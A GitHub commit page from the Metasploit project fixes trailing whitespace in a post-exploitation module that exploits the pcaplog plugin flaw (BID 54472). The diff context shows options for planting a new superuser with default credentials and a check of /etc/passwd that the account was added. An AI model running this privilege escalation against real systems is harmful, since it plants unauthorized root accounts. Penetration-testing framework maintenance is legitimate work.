Skip to content

Commit 5e80e19

Browse files
committed
Msftidy complaint about EOL spaces
1 parent 2f0c2d7 commit 5e80e19

File tree

1 file changed

+6
-6
lines changed

1 file changed

+6
-6
lines changed

modules/post/multi/escalate/metasploit_pcaplog.rb

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -42,7 +42,7 @@ def initialize(info={})
4242
'References' =>
4343
[
4444
[ 'BID', '54472' ],
45-
[ 'URL', 'http://0a29.blogspot.com/2012/07/0a29-12-2-metasploit-pcaplog-plugin.html'],
45+
[ 'URL', 'http://0a29.blogspot.com/2012/07/0a29-12-2-metasploit-pcaplog-plugin.html'],
4646
[ 'URL', 'https://community.rapid7.com/docs/DOC-1946' ],
4747
],
4848
'DisclosureDate' => "Jul 16 2012",
@@ -55,7 +55,7 @@ def initialize(info={})
5555
}
5656
))
5757
register_options(
58-
[
58+
[
5959
Opt::RPORT(2940),
6060
OptString.new("USERNAME", [ true, "Username for the new superuser", "metasploit" ]),
6161
OptString.new("PASSWORD", [ true, "Password for the new superuser", "metasploit" ]),
@@ -98,13 +98,13 @@ def run
9898
i = (i+1) % 60 # increment second counter
9999
end
100100

101-
if cmd_exec("(grep Metasploit /etc/passwd > /dev/null && echo true) || echo false").include?("true")
101+
if cmd_exec("(grep Metasploit /etc/passwd > /dev/null && echo true) || echo false").include?("true")
102102
print_good("Success. You should now be able to login or su to the '" + datastore['USERNAME'] + "' account")
103103
# TODO: Consider recording our now-created username and password as a valid credential here.
104104
else
105-
print_error("Failed, the '" + datastore['USERNAME'] + "' user does not appear to have been added")
106-
end
105+
print_error("Failed, the '" + datastore['USERNAME'] + "' user does not appear to have been added")
106+
end
107107
# 0a2940: Initially the plan was to have this post module switch user, upload & execute a new payload
108-
# However beceause the session is not a terminal, su will not always allow this.
108+
# However beceause the session is not a terminal, su will not always allow this.
109109
end
110110
end

0 commit comments

Comments
 (0)